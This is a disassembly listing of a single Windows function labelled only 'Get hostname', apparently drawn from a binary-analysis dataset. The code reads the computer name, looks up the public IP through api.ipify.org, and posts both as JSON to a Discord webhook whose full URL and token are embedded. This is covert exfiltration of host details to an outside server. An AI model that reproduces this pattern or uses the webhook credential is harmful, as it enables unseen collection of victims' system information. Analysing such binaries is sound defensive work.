Function at 0x140001d20
Capabilities:
Get hostname

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x278]
sub rsp, 0x350
movaps xmmword [rax - 0x38], xmm6
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x230], rax
xor edi, edi
mov dword [rbp - 0x58], 0x100
lea rdx, [rbp - 0x58]
lea rcx, [rbp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
call fcn.1400012c0
call qword [sym.imp.libcurl.dll_curl_easy_init]
test rax, rax
je 0x1400023cb
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
movdqa xmm6, xmmword [0x1400047c0]
movdqu xmmword [rbp + 0x20], xmm6
mov byte [rbp + 0x10], dil
call qword [sym.imp.libcurl.dll_curl_easy_init]
mov rbx, rax
lea r8, str.https:__api.ipify.org
mov edx, 0x2712
mov rcx, rax
call qword [sym.imp.libcurl.dll_curl_easy_setopt]
lea r8, [0x140001cf0]
mov edx, 0x4e2b
mov rcx, rbx
call qword [sym.imp.libcurl.dll_curl_easy_setopt]
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x40], rdi
mov qword [rbp - 0x38], 0xf
mov byte [rbp - 0x50], dil
lea r8, [rbp - 0x50]
mov edx, 0x2711
mov rcx, rbx
call qword [sym.imp.libcurl.dll_curl_easy_setopt]
mov rcx, rbx
call qword [sym.imp.libcurl.dll_curl_easy_perform]
mov rcx, rbx
call qword [sym.imp.libcurl.dll_curl_easy_cleanup]
mov r9d, dword [rbp - 0x58]
lea rax, [rbp + 0x30]
lea rax, [rax + r9*2]
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
mov qword [rbp - 0x20], rdi
mov qword [rbp - 0x18], rdi
lea rcx, [rbp + 0x30]
cmp rcx, rax
jne 0x140001e47
mov r14d, edi
mov qword [rbp - 0x20], rdi
mov r15d, 0xf
mov qword [rbp - 0x18], r15
mov byte [rbp - 0x30], r14b
jmp 0x140001e5c
lea rdx, [rbp + 0x30]
lea rcx, [rbp - 0x30]
call fcn.140002b90
mov r15, qword [rbp - 0x18]
mov r14, qword [rbp - 0x20]
call qword [sym.imp.libcurl.dll_curl_easy_init]
mov rsi, rax
lea r8, str.https:__discord.com_api_webhooks_1227454204264710174_02JlzyAwvFh1dJVeervOYV6UUcao67FzR0T_hrk_U_pZImiaF7YXszytEr7_xYLtgh1o
mov edx, 0x2712
mov rcx, rax
call qword [sym.imp.libcurl.dll_curl_easy_setopt]
mov edx, 0x2f
lea r8d, [rdx - 0x2e]
mov rcx, rsi
call qword [sym.imp.libcurl.dll_curl_easy_setopt]
mov r13, qword [rbp - 0x40]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r13
cmp rax, 0x26
jb 0x140002425
lea rdx, [rbp - 0x50]
cmp qword [rbp - 0x38], 0xf
cmova rdx, qword [rbp - 0x50]
mov qword [rsp + 0x20], rdx
xorps xmm0, xmm0
movups xmmword [rsp + 0x28], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x38], xmm1
lea r12, [r13 + 0x26]
mov ebx, 0xf
lea rdi, [rsp + 0x28]
cmp r12, rbx
jbe 0x140001f6c
mov rbx, r12
or rbx, 0xf
cmp rbx, rcx
jbe 0x140001f22
mov rbx, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140002ce0
test rax, rax
je 0x140001f4a
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
mov rdx, qword [rsp + 0x20]
jmp 0x140001f67
mov eax, 0x16
cmp rbx, rax
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140001f51
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000242b
jmp 0x140001f02
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x140001f65
call fcn.140002ce0
mov rdi, rax
mov rdx, qword [rsp + 0x20]
jmp 0x140001f67
xor edi, edi
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x40], rbx
movups xmm0, xmmword [str._content_:__My_public_IP_address_is:]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [0x140004700]
movups xmmword [rdi + 0x10], xmm1
mov eax, dword [0x140004710]
mov dword [rdi + 0x20], eax
movzx eax, word [0x140004714]
mov word [rdi + 0x24], ax
lea rcx, [rdi + 0x26]
mov r8, r13
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + r12], 0
mov r8d, 2
lea rdx, [0x1400046e8]
lea rcx, [rsp + 0x28]
call fcn.1400024c0
xorps xmm0, xmm0
movups xmmword [rbp - 0x78], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x68], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x78], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x68], xmm1
mov qword [rax + 0x18], 0xf
xor ebx, ebx
mov qword [rax + 0x10], rbx
mov byte [rax], bl
lea r8d, [rbx + 0xf]
lea rdx, str.Computer_name:
lea rcx, [rbp - 0x78]
call fcn.1400024c0
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x78], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x68], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x78], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], bl
lea rdx, [rbp - 0x30]
cmp r15, 0xf
cmova rdx, qword [rbp - 0x30]
mov r8, r14
lea rcx, [rsp + 0x68]
call fcn.1400024c0
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x58], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x48], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x58], xmm1
mov qword [rax + 0x18], 0xf
mov qword [rax + 0x10], rbx
mov byte [rax], bl
lea r8d, [rbx + 2]
lea rdx, [0x1400046d0]
lea rcx, [rsp + 0x48]
call fcn.1400024c0
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x10], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], bl
mov rdx, qword [rsp + 0x60]
cmp rdx, 0xf
jbe 0x140002104
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400020ff
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400020ff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002d24
movdqa xmm0, xmmword [0x1400047c0]
movdqu xmmword [rsp + 0x58], xmm0
mov byte [rsp + 0x48], 0
mov rdx, qword [rbp - 0x80]
cmp rdx, 0xf
jbe 0x140002156
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002151
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002151
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002d24
movdqa xmm0, xmmword [0x1400047c0]
movdqu xmmword [rsp + 0x78], xmm0
mov byte [rsp + 0x68], 0
mov rdx, qword [rbp - 0x60]
cmp rdx, 0xf
jbe 0x1400021a7
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400021a2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400021a2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002d24
movdqa xmm0, xmmword [0x1400047c0]
movdqu xmmword [rbp - 0x68], xmm0
mov byte [rbp - 0x78], 0
mov rdx, qword [rsp + 0x40]
cmp rdx, 0xf
jbe 0x1400021f8
inc rdx
mov rcx, qword [rsp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400021f3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400021f3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002d24
movdqa xmm0, xmmword [0x1400047c0]
movdqu xmmword [rsp + 0x38], xmm0
mov byte [rsp + 0x28], 0
lea r8, [rbp - 0x10]
cmp qword [rbp + 8], 0xf
cmova r8, qword [rbp - 0x10]
mov edx, 0x271f
mov rcx, rsi
call qword [sym.imp.libcurl.dll_curl_easy_setopt]
lea rdx, str.Content_Type:_application_json
xor ecx, ecx
call qword [sym.imp.libcurl.dll_curl_slist_append]
mov rdi, rax
mov r8, rax
mov edx, 0x2727
mov rcx, rsi
call qword [sym.imp.libcurl.dll_curl_easy_setopt]
mov rcx, rsi
call qword [sym.imp.libcurl.dll_curl_easy_perform]
mov r14d, eax
test eax, eax
je 0x140002296
lea rdx, str.Failed_to_send_message:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400025a0
mov rbx, rax
mov ecx, r14d
call qword [sym.imp.libcurl.dll_curl_easy_strerror]
mov rdx, rax
mov rcx, rbx
call fcn.1400025a0
lea rdx, [0x140002770]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor ebx, ebx
mov rcx, rsi
call qword [sym.imp.libcurl.dll_curl_easy_cleanup]
mov rcx, rdi
call qword [sym.imp.libcurl.dll_curl_slist_free_all]
nop
mov rdx, qword [rbp + 8]
cmp rdx, 0xf
jbe 0x1400022e7
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400022e2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400022e2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002d24
movdqa xmm0, xmmword [0x1400047c0]
movdqu xmmword [rbp], xmm0
mov byte [rbp - 0x10], 0
mov rdx, qword [rbp - 0x18]
cmp rdx, 0xf
jbe 0x140002337
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002331
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002331
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002d24
nop
mov rdx, qword [rbp - 0x38]
cmp rdx, 0xf
jbe 0x140002375
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002370
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002370
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002d24
mov qword [rbp - 0x40], rbx
mov qword [rbp - 0x38], 0xf
mov byte [rbp - 0x50], 0
psrldq xmm6, 8
movq rdx, xmm6
cmp rdx, 0xf
jbe 0x1400023ee
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400023c4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400023c4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002d24
jmp 0x1400023ee
lea rdx, str.Failed_to_initialize_curl
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400025a0
lea rdx, [0x140002770]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor eax, eax
mov rcx, qword [rbp + 0x230]
xor rcx, rsp
call fcn.140002cc0
lea r11, [rsp + 0x350]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400011a0
nop
call fcn.140001100
int3